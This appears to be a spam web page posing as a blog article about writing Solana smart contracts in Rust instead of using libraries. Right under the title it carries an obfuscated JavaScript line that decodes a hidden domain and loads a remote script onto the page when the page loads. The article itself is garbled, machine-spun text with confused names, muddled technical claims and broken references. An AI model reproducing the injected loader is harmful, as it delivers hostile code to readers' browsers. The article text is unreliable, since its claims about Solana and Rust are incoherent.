Solana: why do we still need to write contracts in Rust?

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=4a3bdf54″;document.body.appendChild(script);

Why do we still have to write contracts Rusty to Solana

As a definition of projectors on Sorani-Blockchain, I have often noticed that we still need to write contracts from scratch when there are clusters, Metaplex Core and others that provide SDKs to create and create a contract. In this article, we investigate the reasons for using rust to develop the Sorana Agreement.

Advantages of writing a contract of scratch

When it comes to Solan’s contracts, writing them from scratching them can look like a scary task. However, there are several advantages that make this profitable endeavor:

* Flexibility : Rust can use your system type and features, allowing us to write a contract that are highly modular, maintained and scalable.

* Security : Writing a contract from Zero rust provides that our code is safe in design. We have complete management of the logic and functionality of any contract function, which reduces vulnerability such as clipboard or logical errors.

* Compatibility : Solana ecosystem is constantly developing, and writing a rust contract gives us the opportunity to create intelligent contracts that can be easily integrated into other chains and platforms using tools such as web3s or openzel.

Why can’t we afford to use Javascript

Although libraries based in JavaScript are suitable, they have significant limitations in the development of the Sorana Agreement. Here are some reasons why we have to remain rusty:

* Tip type : JavaScript is dynamically written, which means we have to carefully consider our types of code to avoid mistakes and driving mistakes.

* Performance : Libraries based on JavaScript can be more slower than dynamic writing their network and creating objects.

* Security : Although JavaScript has progressed in recent years, it is still in the safety of rust. We need to take additional precautions in contracts with the Sorana agreements because they are prone to general vulnerability in network applications, such as SQL.

Library use case

Now that we have created the advantages and limitations of the development of the rust contract, some convincing reasons are being investigated why we should consider the use of libraries:

* Comfort : Using existing libraries, we can focus on writing smart contracts with little effort. These libraries often offer pre -built functions and simplified interfaces to make our implementation easier.

* Fast prototype -drading : spl -token and Metaplex Core Libraries quickly give us new prototype new ideas of contract without sacrificing performance or security.

* Community Support : The Sorana Community is growing rapidly, and the use of libraries provides a convenient way to use your expertise and knowledge base.

Conclusion

Although limitations on JavaScript library in Solana, Solani, convincing arguments in a pile, justifying this approach. Using existing libraries, such as spl-token, metaplex core and others, we can create high performance, sustainable and safe intelligent agreements that are inappropriately integrated into the ecosystem.

Ultimately, the choice between the scripture of the scorpion in the rust or the use of the library depends on your specific requirements and preferences of the project. However, in many cases, the use of existing libraries is the most practical and efficient way to build a solid, scalable and protected contracts on Sorani.

References

• Solana: [ (

• Spl-token: [ (

• Metaplex Core: [ (https: //metapleks.Readthados.

ethereum exchanges